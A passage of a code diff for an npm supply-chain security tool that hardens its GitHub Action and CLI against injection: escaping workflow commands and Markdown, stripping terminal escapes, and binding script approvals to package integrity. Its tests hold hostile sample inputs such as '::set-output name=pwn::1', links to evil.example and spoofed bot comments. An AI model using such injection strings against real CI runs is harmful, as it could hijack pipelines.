(opts.env.SENTINEL_COMMENT_BODY) writeFileSync(opts.env.SENTINEL_COMMENT_BODY, markdown); for (const p of result.packages) { - if (p.status === "block") console.log(`::error::${p.name}@${p.version} — ${p.topFinding ?? p.error ?? "blocked"}`); - else if (p.status === "warn") console.log(`::warning::${p.name}@${p.version} — ${p.topFinding ?? "warn"}`); + if (p.status === "block") console.log(`::error::${escapeData(`${p.name}@${p.version} — ${p.topFinding ?? p.error ?? "blocked"}`)}`); + else if (p.status === "warn") console.log(`::warning::${escapeData(`${p.name}@${p.version} — ${p.topFinding ?? "warn"}`)}`); } return { exitCode, result, sbomPath: opts.sbomPath, markdown }; diff --git a/packages/action/test/report.test.ts b/packages/action/test/report.test.ts index 7b11858..6ec1f37 100644 --- a/packages/action/test/report.test.ts +++ b/packages/action/test/report.test.ts @@ -50,7 +50,7 @@ describe("renderPrComment", () => { ], }; const evilMd = renderPrComment(evilResult, { now: "2026-07-08T00:00:00Z" }); - assert.match(evilMd, /evil\\\|name@1\.0\.0/); + assert.match(evilMd, /evil\\\|name@​1\.0\.0/); // "@" carries a zero-width space so it cannot mention assert.equal(evilMd.includes("| evil|name@"), false); }); test("escapes backslashes before pipes so a `\\|` name can't break out of the cell", () => { diff --git a/packages/action/test/security-action.test.ts b/packages/action/test/security-action.test.ts new file mode 100644 index 0000000..0bca98b --- /dev/null +++ b/packages/action/test/security-action.test.ts @@ -0,0 +1,143 @@ +import assert from "node:assert/strict"; +import { existsSync, mkdtempSync, readFileSync, writeFileSync } from "node:fs"; +import { createRequire } from "node:module"; +import { tmpdir } from "node:os"; +import { dirname, join } from "node:path"; +import { fileURLToPath } from "node:url"; +import { execFile, execFileSync } from "node:child_process"; +import { describe, test } from "node:test"; +import { parse } from "yaml"; +import { LocalFixtureUpstream } from "@git-agentic/sentinel-proxy"; +import type { TreeAuditResult } from "@git-agentic/sentinel-core"; +import { renderPrComment, REPORT_MARKER } from "../src/report.js"; +import { runCi } from "../src/run.js"; + +const HERE = dirname(fileURLToPath(import.meta.url)); +const REPO = join(HERE, "..", "..", ".."); +const FIXTURES = join(REPO, "fixtures"); + +describe("PR comment marker is only trusted on the bot's own comment", () => { + const doc = parse(readFileSync(join(REPO, "action.yml"), "utf8")) as { runs: { steps: { uses?: string; with?: { script?: string } }[] } }; + const script = doc.runs.steps.find((s) => s.uses?.startsWith("actions/github-script"))!.with!.script!; + const AsyncFunction = Object.getPrototypeOf(async () => {}).constructor as new (...args: string[]) => (...args: unknown[]) => Promise; + + async function runScript(comments: { id: number; body: string; user: { login: string; type: string } }[]) { + const dir = mkdtempSync(join(tmpdir(), "sentinel-comment-")); + writeFileSync(join(dir, "sentinel-comment.md"), `${REPORT_MARKER}\nreport`); + const calls: { op: "update" | "create"; id?: number }[] = []; + // listComments alone returns only the first page (30 comments); paginate walks them all. + const firstPage = comments.slice(0, 30); + const listComments = async () => ({ data: firstPage }); + const github = { paginate: async (fn: unknown) => { assert.equal(fn, listComments); return comments; }, rest: { issues: { + listComments, + updateComment: async (a: { comment_id: number }) => { calls.push({ op: "update", id: a.comment_id }); }, + createComment: async () => { calls.push({ op: "create" }); }, + } } }; + const context = { repo: { owner: "o", repo: "r" }, issue: { number: 1 } }; + await new AsyncFunction("require", "github", "context", "process", script)( + createRequire(import.meta.url), github, context, { env: { RUNNER_TEMP: dir } }); + return calls; + } + + test("a comment carrying the marker from another user is never edited", async () => { + const calls = await runScript([{ id: 7, body: `${REPORT_MARKER} fake`, user: { login: "mallory", type: "User" } }]); + assert.deepEqual(calls, [{ op: "create" }]); + }); + + test("a user spoofing the bot login without the Bot type is ignored", async () => { + const calls = await runScript([{ id: 8, body: REPORT_MARKER, user: { login: "github-actions[bot]", type: "User" } }]); + assert.deepEqual(calls, [{ op: "create" }]); + }); + + test("the bot's marker comment beyond the first page of 30 is still found", async () => { + const filler = Array.from({ length: 30 }, (_, i) => ({ id: 100 + i, body: "chatter", user: { login: "dev", type: "User" } })); + const calls = await runScript([...filler, { id: 9, body: REPORT_MARKER, user: { login: "github-actions[bot]", type: "Bot" } }]); + assert.deepEqual(calls, [{ op: "update", id: 9 }]); + }); + + test("the github-actions bot's own marker comment is still updated in place", async () => { + const calls = await runScript([ + { id: 7, body: `${REPORT_MARKER} fake`, user: { login: "mallory", type: "User" } }, + { id: 9, body: REPORT_MARKER, user: { login: "github-actions[bot]", type: "Bot" } }, + ]); + assert.deepEqual(calls, [{ op: "update", id: 9 }]); + }); +}); + +describe("workflow-command escaping", () => { + test("annotation text cannot start a second workflow command", async () => { + if (!existsSync(join(FIXTURES, "registry.json")) || !existsSync(join(FIXTURES, ".tarballs"))) { + execFileSync("npx", ["tsx", join(REPO, "scripts", "make-fixtures.ts")], { cwd: REPO, stdio: "ignore" }); + } + const dir = mkdtempSync(join(tmpdir(), "sentinel-wfcmd-")); + writeFileSync(join(dir, "package-lock.json"), JSON.stringify({ name: "demo", lockfileVersion: 3, packages: { + "": { name: "demo" }, "node_modules/color-stream": { version: "1.4.1" } } })); + const realFetch = globalThis.fetch; + // Inject attacker-controlled text where a package-supplied finding would land. + globalThis.fetch = (async (...args: Parameters) => { + const res = await realFetch(...args); + const body = await res.json() as TreeAuditResult; + body.packages[0]!.topFinding = "x 100%\n::set-output name=pwn::1\r::add-mask::y"; + return new Response(JSON.stringify(body), { status: res.status, headers: { "content-type": "application/json" } }); + }) as typeof fetch; + const lines: string[] = []; + const realLog = console.log; + console.log = (...a: unknown[]) => { lines.push(a.join(" ")); }; + try { + await runCi({ upstream: new LocalFixtureUpstream(FIXTURES), cwd: dir, sbomPath: join(dir, "sbom.json"), + failOn: "block", omitDev: false, now: "2026-07-08T00:00:00Z", env: { GITHUB_STEP_SUMMARY: join(dir, "summary.md") } }); + } finally { console.log = realLog; globalThis.fetch = realFetch; } + const annotation = lines.find((l) => l.startsWith("::error::")); + assert.ok(annotation, "blocked package is annotated"); + assert.equal(/[\r\n]/.test(annotation!), false, "no raw line break inside one annotation"); + assert.match(annotation!, /100%25%0A::set-output name=pwn::1%0D::add-mask::y/); + for (const line of lines.join("\n").split(/\r?\n|\r/)) { + assert.equal(/^::(?!error::|warning::)/.test(line), false, `unexpected workflow command on stdout: ${line}`); + } + }); +}); + +describe("Markdown in the PR comment", () => { + const hostile = "`x` [click](https://evil.example) ![i](https://evil.example/p.png) @octocat \\| end"; + const result: TreeAuditResult = { + aggregate: { verdict: "block", gated: true, counts: { allow: 0, warn: 0, block: 1, error: 0 }, + provenance: { verified: 0, invalid: 0, absent: 1, unknown: 0 }, integrityMismatch: 0 }, + packages: [{ name: "@evil/pkg", version: "1.0.0", status: "block", score: 1, topFinding: hostile, topFindingRuleId: null, + error: null, provenance: "absent", integrityMismatch: false }], + }; + const row = renderPrComment(result, { now: "t" }).split("\n").find((l) => l.startsWith("| @") || l.startsWith("| \\@") || l.includes("evil"))!; + + test("backticks, angle brackets and link syntax are neutralized", () => { + assert.equal(/(^|[^\\])[`<\[\]]/.test(row.replace(/\\\\/g, "")), false, `unescaped markdown metacharacter in: ${row}`); + }); + + test("@mentions are broken so they do not notify", () => { + assert.equal(/@(?!​)/.test(row), false, `bare @ in: ${row}`); + assert.ok(row.includes("@​octocat")); + }); + + test("pipes and newlines still cannot break the table", () => { + assert.equal(row.split(/(? { + test("a multi-line parse error carrying '::' cannot inject a workflow command", async () => { + const dir = mkdtempSync(join(tmpdir(), "sentinel-fatal-")); + // Invalid YAML whose offending lines are echoed in the parser error. + writeFileSync(join(dir, "pnpm-lock.yaml"), "lockfileVersion: '9.0'\npackages:\n ::set-output name=pwn::1\n bad: [unclosed\n::add-mask::secret\n"); + const env: NodeJS.ProcessEnv = { ...process.env, SENTINEL_CI_FIXTURES: FIXTURES }; + for (const k of Object.keys(env)) if (k.startsWith("GITHUB_")) delete env[k]; + const out = await new Promise<{ code: number; text: string }>((resolve) => { + execFile("node", [join(REPO, "packages", "action", "dist", "index.js")], { cwd: dir, env }, (err, stdout, stderr) => { + resolve({ code: err ? Number((err as { code?: number }).code ?? 1) : 0, text: `${stdout}\n${stderr}` }); + }); + }); + assert.equal(out.code, 1); + const commands = out.text.split(/\r?\n|\r/).filter((l) => l.trimStart().startsWith("::")); // the runner trims leading whitespace before matching + assert.equal(commands.length, 1, `exactly one workflow command expected, got: ${JSON.stringify(commands)}`); + assert.match(commands[0]!, /^::error::sentinel-ci failed: /); + }); +}); diff --git a/packages/cli/src/enforce.ts b/packages/cli/src/enforce.ts index 1a6d739..c1afc13 100644 --- a/packages/cli/src/enforce.ts +++ b/packages/cli/src/enforce.ts @@ -1,3 +1,4 @@ +import { isAbsolute } from "node:path"; import type { Capability } from "@git-agentic/sentinel-core"; import type { Manifest } from "./format.js"; @@ -21,11 +22,53 @@ export function approvedCapsForManifest(m: Manifest): Capability[] { } } -/** True when the lifecycle script belongs to the install root itself, not a dependency under node_modules. */ -export function isRootScript(cwd: string, initCwd: string | undefined): boolean { +/** + * True when the lifecycle script belongs to the install root itself. `sentinelRoot` is the + * `SENTINEL_ROOT` that `sentinel install --enforce` pinned to the realpath of the install cwd. + * `INIT_CWD` is NOT trusted: a nested npm (a git dependency's `prepare`) resets it to the + * dependency's own directory, which would make that dependency look like the root and hand it the + * operator's approvals. Fail closed: a missing or non-absolute root means "not root". + */ +export function isRootScript(cwd: string, sentinelRoot: string | undefined): boolean { + if (!sentinelRoot || !isAbsolute(sentinelRoot)) return false; if (cwd.includes("/node_modules/")) return false; - if (initCwd) return cwd === initCwd; - return true; + return cwd === sentinelRoot; +} + +/** + * `npm_package_integrity` is only trustworthy on npm >= 7: npm 6 exports EVERY package.json field + * as `npm_package_*` (so a package can declare its own `integrity`), while npm 7+ exports only a + * fixed set (RFC 183, `@npmcli/run-script` package-envs) and arborist sets the integrity itself. + * Fail closed unless `npm_config_user_agent` (set by npm, not the package) starts with `npm/<7+>`. + */ +export function assertNpmTrustsIntegrity(userAgent: string | undefined): void { + const major = /^npm\/(\d+)\./.exec(userAgent ?? "")?.[1]; + if (major === undefined || Number(major) < 7) { + throw new EnforceError( + `dependency scripts under --enforce need npm >= 7 (user agent ${JSON.stringify((userAgent ?? "").slice(0, 60))}): before npm 7 a package controls npm_package_integrity`, + ); + } +} + +/** + * Bind a dependency script to the audited package. npm's `npm_package_name`/`version` come from + * the package's own package.json (a git/URL/file dependency controls them), so the approval lookup + * keyed on them is only trustworthy if `npm_package_integrity` — what npm verified the installed + * bytes against — equals the manifest's `meta.integrity` (the digest of the bytes the proxy audited). + * Compared per algorithm: a token in another algorithm than the manifest's cannot be compared, and + * a missing or mismatched integrity fails closed. (Limit: a legacy package that npm records only as + * sha1 therefore cannot run an enforced script.) + */ +export function assertIntegrityBinding(m: Manifest, envIntegrity: string | undefined): void { + const served = m.meta.integrity; + const algo = /^(sha1|sha256|sha512)-/.exec(served)?.[1]; + const tokens = (envIntegrity ?? "").trim().split(/\s+/).filter(Boolean); + const same = algo ? tokens.filter((t) => t.startsWith(`${algo}-`)) : []; + if (!algo || same.length === 0 || same.some((t) => t !== served)) { + throw new EnforceError( + `${m.meta.name}@${m.meta.version}: npm_package_integrity ${tokens.length ? "does not match" : "is missing for"} the audited tarball integrity — refusing to apply its approvals`, + ); + } } /** Extract the lifecycle command from npm's ` -c ""` invocation. */ diff --git a/packages/cli/src/format.ts b/packages/cli/src/format.ts index 22bfce6..08609a8 100644 --- a/packages/cli/src/format.ts +++ b/packages/cli/src/format.ts @@ -9,6 +9,24 @@ const C = { const useColor = process.stdout.isTTY && !process.env.NO_COLOR; const c = (code: string, s: string) => (useColor ? code + s + C.reset : s); +// Terminal escape sequences (CSI, OSC/DCS/SOS/PM/APC strings, other ESC sequences; 7-bit and C1 forms), then any +// remaining C0 control (except \n and \t), DEL and C1 control. Package metadata, findings and proxy answers are +// untrusted: unfiltered, they can retitle the window, clear the screen or overwrite the verdict line. +const ESCAPE_SEQUENCE = /(?:\x1b\[|\x9b)[0-?]*[ -/]*[@-~]?|(?:\x1b[\]PX^_]|[\x90\x98\x9d\x9e\x9f])[^\x07\x1b\x9c]*(?:\x07|\x1b\\|\x9c)?|\x1b[ -/]*[0-~]/g; +const CONTROL_CHARS = /[\x00-\x08\x0b-\x1f\x7f-\x9f]/g; + +export function sanitizeTerminal(s: string): string { + return s.replace(ESCAPE_SEQUENCE, "").replace(CONTROL_CHARS, ""); +} + +/** Deep-sanitize every string (and object key) of an untrusted payload before it is formatted. */ +function clean(v: T): T { + if (typeof v === "string") return sanitizeTerminal(v) as T; + if (Array.isArray(v)) return v.map(clean) as T; + if (v && typeof v === "object") return Object.fromEntries(Object.entries(v).map(([k, x]) => [sanitizeTerminal(k), clean(x)])) as T; + return v; +} + const verdictColor: Record = { allow: C.green, warn: C.yellow, @@ -31,7 +49,8 @@ function bar(score: number): string { } /** Pre-install verdict panel. */ -export function formatReport(r: AuditReport): string { +export function formatReport(input: AuditReport): string { + const r = clean(input); const m = r.meta; const L: string[] = []; L.push(""); @@ -93,7 +112,8 @@ const stateColor: Record = { approved: C.green, inherited: C.green, required: C.yellow, denied: C.red, "n-a": C.gray, }; -export function formatManifest(m: Manifest): string { +export function formatManifest(input: Manifest): string { + const m = clean(input); const L: string[] = []; L.push(""); L.push(c(C.bold, ` ${m.meta.name}@${m.meta.version}`)); @@ -127,7 +147,8 @@ const treeStatusColor: Record = { }; /** Whole-tree audit summary: one line per package, then counts + aggregate verdict. */ -export function formatTree(r: TreeAuditResult): string { +export function formatTree(input: TreeAuditResult): string { + const r = clean(input); const L: string[] = []; L.push(""); L.push(c(C.bold, ` dependency tree audit (${r.packages.length} packages)`)); @@ -163,7 +184,8 @@ export interface ViolationRow { } /** Runtime violation list surfaced from the proxy's `/-/violations` feed. */ -export function formatViolations(rows: ViolationRow[]): string { +export function formatViolations(input: ViolationRow[]): string { + const rows = clean(input); const L: string[] = ["", c(C.bold, ` runtime violations (${rows.length})`), c(C.gray, ` ${"─".repeat(56)}`)]; if (rows.length === 0) L.push(c(C.gray, " none recorded")); for (const v of rows) { @@ -181,7 +203,8 @@ export interface StatsSummary { } /** Durable observability rollup surfaced from the proxy's `/-/metrics` feed. */ -export function formatStats(m: StatsSummary): string { +export function formatStats(input: StatsSummary): string { + const m = clean(input); const L: string[] = [ "", c(C.bold, ` audits: ${m.summary.total}`) + @@ -207,7 +230,8 @@ export interface HistoryRow { } /** Recorded-audit list surfaced from the proxy's `/-/history` feed. */ -export function formatHistory(rows: HistoryRow[]): string { +export function formatHistory(input: HistoryRow[]): string { + const rows = clean(input); if (!rows.length) return c(C.gray, "\n (no audits recorded)\n"); const L: string[] = ["", c(C.bold, ` ${rows.length} audit(s):`)]; for (const r of rows) { @@ -227,7 +251,8 @@ export interface ExplainResult { } /** Verdict explanation + per-finding remediation, suggested known-good version, and waiver command. */ -export function formatExplain(r: ExplainResult): string { +export function formatExplain(input: ExplainResult): string { + const r = clean(input); const L: string[] = ["", ` ${r.report.meta.name}@${r.report.meta.version} — ${c(verdictColor[r.report.verdict] ?? C.gray, r.report.verdict.toUpperCase())} ${r.report.score}/100`, ""]; L.push(c(C.bold, " " + r.remediation.guidance)); L.push(""); @@ -248,7 +273,8 @@ export function formatExplain(r: ExplainResult): string { return L.join("\n"); } -export function formatLint(r: { errors: LintFinding[]; warnings: LintFinding[] }): string { +export function formatLint(input: { errors: LintFinding[]; warnings: LintFinding[] }): string { + const r = clean(input); const L: string[] = []; for (const e of r.errors) L.push(c(C.red, ` ✗ ${e.code}: ${e.message}`)); for (const w of r.warnings) L.push(c(C.yellow, ` ⚠ ${w.code}: ${w.message}`)); @@ -264,7 +290,8 @@ export interface PreviewResult { changed: { name: string; version: string; from: string; to: string; fromScore: number; toScore: number }[]; } -export function formatPreview(r: PreviewResult): string { +export function formatPreview(input: PreviewResult): string { + const r = clean(input); const L: string[] = ["", ` ${r.total} audit(s) replayed · ${c(C.bold, String(r.changed.length))} would change`, ""]; const t = r.transitions; const parts = Object.entries(t).filter(([k, v]) => k !== "unchanged" && v > 0).map(([k, v]) => `${k}: ${v}`); diff --git a/packages/cli/src/index.ts b/packages/cli/src/index.ts index b8f1218..ca621e2 100644 --- a/packages/cli/src/index.ts +++ b/packages/cli/src/index.ts @@ -2,7 +2,7 @@ import { Buffer } from "node:buffer"; import { lstatSync, readdirSync, readFileSync, realpathSync, writeFileSync } from "node:fs"; import { homedir } from "node:os"; -import { join, relative, basename } from "node:path"; +import { join, relative, basename, resolve } from "node:path"; import { spawn } from "node:child_process"; import { fileURLToPath } from "node:url"; import { createHash, createPublicKey } from "node:crypto"; @@ -20,10 +20,10 @@ import { buildAuditStatement, signAttestation, verifyAttestation, attestationKeyid, } from "@git-agentic/sentinel-core"; import { createSandbox, runLifecycleScripts, scrubEnv } from "@git-agentic/sentinel-sandbox"; -import { formatReport, formatManifest, verdictExitCode, formatTree, treeExitCode, formatViolations, formatStats, formatHistory, formatExplain, formatLint, formatPreview, type Manifest, type ViolationRow, type ExplainResult, type PreviewResult } from "./format.js"; +import { formatReport, formatManifest, verdictExitCode, formatTree, treeExitCode, formatViolations, formatStats, formatHistory, formatExplain, formatLint, formatPreview, sanitizeTerminal, type Manifest, type ViolationRow, type ExplainResult, type PreviewResult } from "./format.js"; import { packageCoordinateFromTarball } from "./scan-coordinate.js"; -const DEFAULT_PROXY = process.env.SENTINEL_PROXY ?? "http://localhost:4873"; +const DEFAULT_PROXY = process.env.SENTINEL_PROXY ?? "http://127.0.0.1:4873"; const program = new Command(); program @@ -297,9 +297,9 @@ policyCmd try { const { policy, hash } = loadPolicy({ file, sig, publicKeyPem: readFileSync(opts.pubkey, "utf8") }); console.log(`✓ signature valid ${hash}`); - console.log(" " + summarizePolicy(policy)); + console.log(" " + sanitizeTerminal(summarizePolicy(policy))); } catch (err) { - console.error(`✗ ${(err as Error).message}`); + console.error(`✗ ${sanitizeTerminal((err as Error).message)}`); process.exit(2); } }); @@ -322,7 +322,7 @@ policyCmd try { policy = parsePolicy(readFileSync(file)); } catch (err) { - console.error(`✗ ${(err as Error).message}`); + console.error(`✗ ${sanitizeTerminal((err as Error).message)}`); process.exit(2); } const r = lintPolicy(policy); @@ -382,9 +382,9 @@ tokenCmd .action((token: string, opts: { pubkey: string }) => { const r = verifyToken(token, readFileSync(opts.pubkey, "utf8")); if (r.ok) { - console.log(`valid role=${r.role} sub=${r.sub} exp=${new Date(r.exp * 1000).toISOString()}`); + console.log(sanitizeTerminal(`valid role=${r.role} sub=${r.sub} exp=${new Date(r.exp * 1000).toISOString()}`)); } else { - console.error(`invalid: ${r.reason}`); + console.error(sanitizeTerminal(`invalid: ${r.reason}`)); process.exit(2); } }); @@ -454,9 +454,9 @@ program const requireVerdict = opts.require === "allow" || opts.require === "allow-or-warn" ? opts.require : undefined; const r = verifyAttestation(env, readFileSync(opts.key, "utf8"), { expectedSbomDigest, expectedPolicyHash: opts.policyHash, requireVerdict }); if (r.valid) { - console.log(`✓ valid · verdict ${r.predicate.verdict} · policy ${r.predicate.policyHash ?? "?"} · ${r.predicate.timestamp}`); + console.log(sanitizeTerminal(`✓ valid · verdict ${r.predicate.verdict} · policy ${r.predicate.policyHash ?? "?"} · ${r.predicate.timestamp}`)); } else { - console.error(`✗ attestation rejected: ${r.reason}`); + console.error(sanitizeTerminal(`✗ attestation rejected: ${r.reason}`)); process.exitCode = 2; } }); @@ -466,7 +466,9 @@ program .description("Run a package's lifecycle scripts under a sandbox derived from its approved capabilities (macOS Seatbelt / Linux bubblewrap).") .argument("", "path to an unpacked package directory") .option("--approve ", "approved capabilities as kind:target (e.g. network:api.example.com)", []) - .action((dir: string, opts: { approve: string[] }) => { + .action((dirArg: string, opts: { approve: string[] }) => { + // Absolute from here on: the sandbox profile and cwd must not depend on how the operator spelled the path. + const dir = resolve(dirArg); let scripts: Record = {}; try { scripts = JSON.parse(readFileSync(join(dir, "package.json"), "utf8"))?.scripts ?? {}; @@ -500,14 +502,14 @@ program } for (const r of results) { - console.log(` ${r.hook}: \`${r.command}\` -> exit ${r.exitCode}`); + console.log(` ${r.hook}: \`${sanitizeTerminal(r.command)}\` -> exit ${r.exitCode}`); } if (failed) { const unapproved = unapprovedAtoms(detected, approved); console.error("\x1b[33mA lifecycle script failed under sandbox enforcement.\x1b[0m"); if (unapproved.length) { console.error("Detected, un-approved capabilities (likely cause — inferred from static analysis):"); - for (const a of unapproved) console.error(` › ${a}`); + for (const a of unapproved) console.error(` › ${sanitizeTerminal(a)}`); console.error("Approve them (--approve ) and retry, or treat the package as malicious."); } process.exit(1); @@ -555,7 +557,7 @@ program if (r.violation) { const v = r.violation; console.error( - `\x1b[33msentinel: sandbox denied ${v.kind} access to ${v.target ?? v.deniedResource ?? "a denied resource"} (confidence: ${v.confidence})\x1b[0m`, + `\x1b[33msentinel: sandbox denied ${sanitizeTerminal(v.kind)} access to ${sanitizeTerminal(v.target ?? v.deniedResource ?? "a denied resource")} (confidence: ${sanitizeTerminal(v.confidence)})\x1b[0m`, ); } process.exitCode = r.exitCode; @@ -581,6 +583,8 @@ export function enforceNpmEnv(base: NodeJS.ProcessEnv, opts: { proxy: string; wr SENTINEL_ENFORCE: "1", SENTINEL_PROXY: opts.proxy, SENTINEL_APPROVE: opts.approve.join(" "), + // The install root, pinned here because INIT_CWD is reset by a nested npm (git dependency prepare). + SENTINEL_ROOT: realpathSync(process.cwd()), }; } @@ -725,7 +729,7 @@ function runBin(bin: string, args: string[], proxy: string): void { } function fail(err: unknown, proxy: string): void { - const msg = (err as Error)?.message ?? String(err); + const msg = sanitizeTerminal((err as Error)?.message ?? String(err)); console.error(`\x1b[31msentinel: ${msg}\x1b[0m`); if (/ECONNREFUSED|fetch failed/i.test(msg)) { console.error(`\x1b[90mIs the proxy running? Start it with: npm run proxy (expected at ${proxy})\x1b[0m`); diff --git a/packages/cli/src/script-shell.ts b/packages/cli/src/script-shell.ts index 137cdd8..c6a1e1b 100644 --- a/packages/cli/src/script-shell.ts +++ b/packages/cli/src/script-shell.ts @@ -2,10 +2,11 @@ import { homedir } from "node:os"; import { realpathSync } from "node:fs"; import { pathToFileURL } from "node:url"; -import { createSandbox, scrubEnv, resolveProjectRoot } from "@git-agentic/sentinel-sandbox"; +import { createSandbox, scrubEnv, resolveProjectRoot, withPerRunDevdir } from "@git-agentic/sentinel-sandbox"; import type { SandboxViolation } from "@git-agentic/sentinel-sandbox"; import type { Capability } from "@git-agentic/sentinel-core"; -import { approvedCapsForManifest, isRootScript, commandFromArgv, EnforceError } from "./enforce.js"; +import { sanitizeTerminal } from "./format.js"; +import { approvedCapsForManifest, assertIntegrityBinding, assertNpmTrustsIntegrity, isRootScript, commandFromArgv, EnforceError } from "./enforce.js"; import { parseApprovals } from "./index.js"; import type { Manifest } from "./format.js"; @@ -52,26 +53,38 @@ async function main(): Promise { const cwd = process.cwd(); const name = process.env.npm_package_name; const version = process.env.npm_package_version; + // SENTINEL_ROOT is set by `sentinel install --enforce`; INIT_CWD is package-influenceable (nested npm). + const root = process.env.SENTINEL_ROOT; + const isRoot = isRootScript(cwd, root); let approved: Capability[]; - if (isRootScript(cwd, process.env.INIT_CWD)) { + if (isRoot) { // The install root's own scripts: operator-supplied approvals only (default: none → strict). approved = parseApprovals((process.env.SENTINEL_APPROVE ?? "").split(/\s+/).filter(Boolean)); } else { // A dependency's script: resolve approved capabilities from its proxy manifest (fail closed if unapproved). + assertNpmTrustsIntegrity(process.env.npm_config_user_agent); const proxy = process.env.SENTINEL_PROXY; if (!proxy || !name || !version) { throw new EnforceError(`cannot resolve approvals for dependency script (proxy/name/version missing)`); } const res = await fetch(`${proxy}/-/manifest/${encodeURIComponent(name)}/${encodeURIComponent(version)}`); if (!res.ok) throw new EnforceError(`manifest fetch failed for ${name}@${version}: ${res.status}`); - approved = approvedCapsForManifest((await res.json()) as Manifest); + const manifest = (await res.json()) as Manifest; + // name/version are package-declared; only the integrity npm verified ties them to the audited bytes. + assertIntegrityBinding(manifest, process.env.npm_package_integrity); + approved = approvedCapsForManifest(manifest); } - const env = scrubEnv(process.env, approved); + const gyp = withPerRunDevdir(scrubEnv(process.env, approved), approved, homedir()); const sandbox = createSandbox(); // throws (fail closed) on unsupported platform / missing bwrap - const r = sandbox.run(cmd, { cwd, approved, homeDir: homedir(), env, projectRoot: resolveProjectRoot(cwd, process.env.INIT_CWD) }); - if (r.violation && process.env.SENTINEL_PROXY && name && version && !isRootScript(cwd, process.env.INIT_CWD)) { + let r; + try { + r = sandbox.run(cmd, { cwd, approved: gyp.approved, homeDir: homedir(), env: gyp.env, projectRoot: resolveProjectRoot(cwd, root) }); + } finally { + gyp.cleanup(); + } + if (r.violation && process.env.SENTINEL_PROXY && name && version && !isRoot) { await reportViolation(process.env.SENTINEL_PROXY, name, version, r.violation); } if (r.stdout) process.stdout.write(r.stdout); @@ -99,7 +112,7 @@ if (isMainModule()) { (code) => process.exit(code), (err) => { const tag = err instanceof EnforceError ? "enforcement" : "error"; - console.error(`\x1b[31msentinel-script-shell (${tag}): ${(err as Error).message}\x1b[0m`); + console.error(`\x1b[31msentinel-script-shell (${tag}): ${sanitizeTerminal(String((err as Error).message))}\x1b[0m`); process.exit(70); // non-zero → npm aborts the install (fail closed) }, ); diff --git a/packages/cli/test/enforce.test.ts b/packages/cli/test/enforce.test.ts index e306147..ebb97f3 100644 --- a/packages/cli/test/enforce.test.ts +++ b/packages/cli/test/enforce.test.ts @@ -24,15 +24,15 @@ describe("approvedCapsForManifest", () => { }); describe("isRootScript", () => { - test("cwd equal to INIT_CWD is the root project", () => { + test("cwd equal to SENTINEL_ROOT is the root project", () => { assert.equal(isRootScript("/proj", "/proj"), true); }); test("cwd under node_modules is a dependency", () => { assert.equal(isRootScript("/proj/node_modules/dep", "/proj"), false); }); - test("missing INIT_CWD falls back to the node_modules check", () => { + test("missing SENTINEL_ROOT is NOT root (fail closed; was: trust INIT_CWD / assume root)", () => { assert.equal(isRootScript("/proj/node_modules/dep", undefined), false); - assert.equal(isRootScript("/proj", undefined), true); + assert.equal(isRootScript("/proj", undefined), false); }); }); diff --git a/packages/cli/test/security-enforce.test.ts b/packages/cli/test/security-enforce.test.ts new file mode 100644 index 0000000..fdf7fab --- /dev/null +++ b/packages/cli/test/security-enforce.test.ts @@ -0,0 +1,186 @@ +import assert from "node:assert/strict"; +import { spawn, spawnSync } from "node:child_process"; +import { existsSync, mkdirSync, mkdtempSync, realpathSync } from "node:fs"; +import { createServer, type Server } from "node:http"; +import type { AddressInfo } from "node:net"; +import { tmpdir } from "node:os"; +import { dirname, join } from "node:path"; +import { after, before, describe, test } from "node:test"; +import { fileURLToPath } from "node:url"; +import * as enforce from "../src/enforce.js"; + +const { EnforceError, isRootScript } = enforce; +const assertIntegrityBinding = (...a: unknown[]) => (enforce as any).assertIntegrityBinding(...a); +import { enforceNpmEnv } from "../src/index.js"; +import type { Manifest } from "../src/format.js"; + +const HERE = dirname(fileURLToPath(import.meta.url)); +const SHELL = join(HERE, "..", "src", "script-shell.ts"); +const TSX = import.meta.resolve("tsx"); + +const NPM10 = "npm/10.8.2 node/v24.0.0 darwin arm64 workspaces/false"; +const SERVED = "sha512-SERVEDSERVEDSERVEDSERVEDSERVEDSERVEDSERVEDSERVEDSERVEDSERVEDSERVEDSERVEDSERVEDSERVEDSERVEDSERVEDSERVED=="; +const OTHER = "sha512-OTHEROTHEROTHEROTHEROTHEROTHEROTHEROTHEROTHEROTHEROTHEROTHEROTHEROTHEROTHEROTHEROTHEROTHEROTHEROTHER=="; +const mk = (integrity: string): Manifest => ({ + meta: { name: "dep", version: "1.0.0", integrity }, + verdict: "allow", approvalState: "n-a", capabilities: [], approvalRequired: [], inheritedFrom: null, +}); + +describe("F11 isRootScript trusts only SENTINEL_ROOT (fail closed)", () => { + test("cwd equal to SENTINEL_ROOT is the root project", () => { + assert.equal(isRootScript("/proj", "/proj"), true); + }); + test("a missing, empty or relative SENTINEL_ROOT is never root", () => { + assert.equal(isRootScript("/proj", undefined), false); + assert.equal(isRootScript("/proj", ""), false); + assert.equal(isRootScript("/proj", "proj"), false); + }); + test("a nested npm's own dir (e.g. a git dependency's prepare) is not root even when INIT_CWD was reset to it", () => { + assert.equal(isRootScript("/tmp/cacache/git-clone", "/proj"), false); + }); + test("cwd under node_modules is a dependency even if it equals the claimed root", () => { + assert.equal(isRootScript("/proj/node_modules/dep", "/proj/node_modules/dep"), false); + }); +}); + +describe("F11 assertIntegrityBinding", () => { + test("accepts an exactly matching integrity", () => { + assert.doesNotThrow(() => assertIntegrityBinding(mk(SERVED), SERVED)); + }); + test("accepts a multi-token SRI when every same-algorithm token matches", () => { + assert.doesNotThrow(() => assertIntegrityBinding(mk(SERVED), `sha1-AAAA ${SERVED}`)); + }); + test("a missing or blank integrity fails closed", () => { + assert.throws(() => assertIntegrityBinding(mk(SERVED), undefined), EnforceError); + assert.throws(() => assertIntegrityBinding(mk(SERVED), " "), EnforceError); + }); + test("a mismatched integrity fails closed", () => { + assert.throws(() => assertIntegrityBinding(mk(SERVED), OTHER), EnforceError); + assert.throws(() => assertIntegrityBinding(mk(SERVED), `${SERVED} ${OTHER}`), EnforceError); + }); + test("an integrity in a different algorithm than the audited one cannot be compared: fail closed", () => { + assert.throws(() => assertIntegrityBinding(mk(SERVED), "sha1-AAAAAAAAAAAAAAAAAAAAAAAAAAA="), EnforceError); + }); + test("an unknown algorithm in the manifest fails closed", () => { + assert.throws(() => assertIntegrityBinding(mk("md5-AAAA"), "md5-AAAA"), EnforceError); + }); +}); + +describe("npm >= 7 gate (npm 6 exports every package.json field as npm_package_*)", () => { + const gate = (ua: string | undefined) => (enforce as any).assertNpmTrustsIntegrity(ua); + test("accepts npm 7 and later", () => { + for (const ua of ["npm/7.0.0 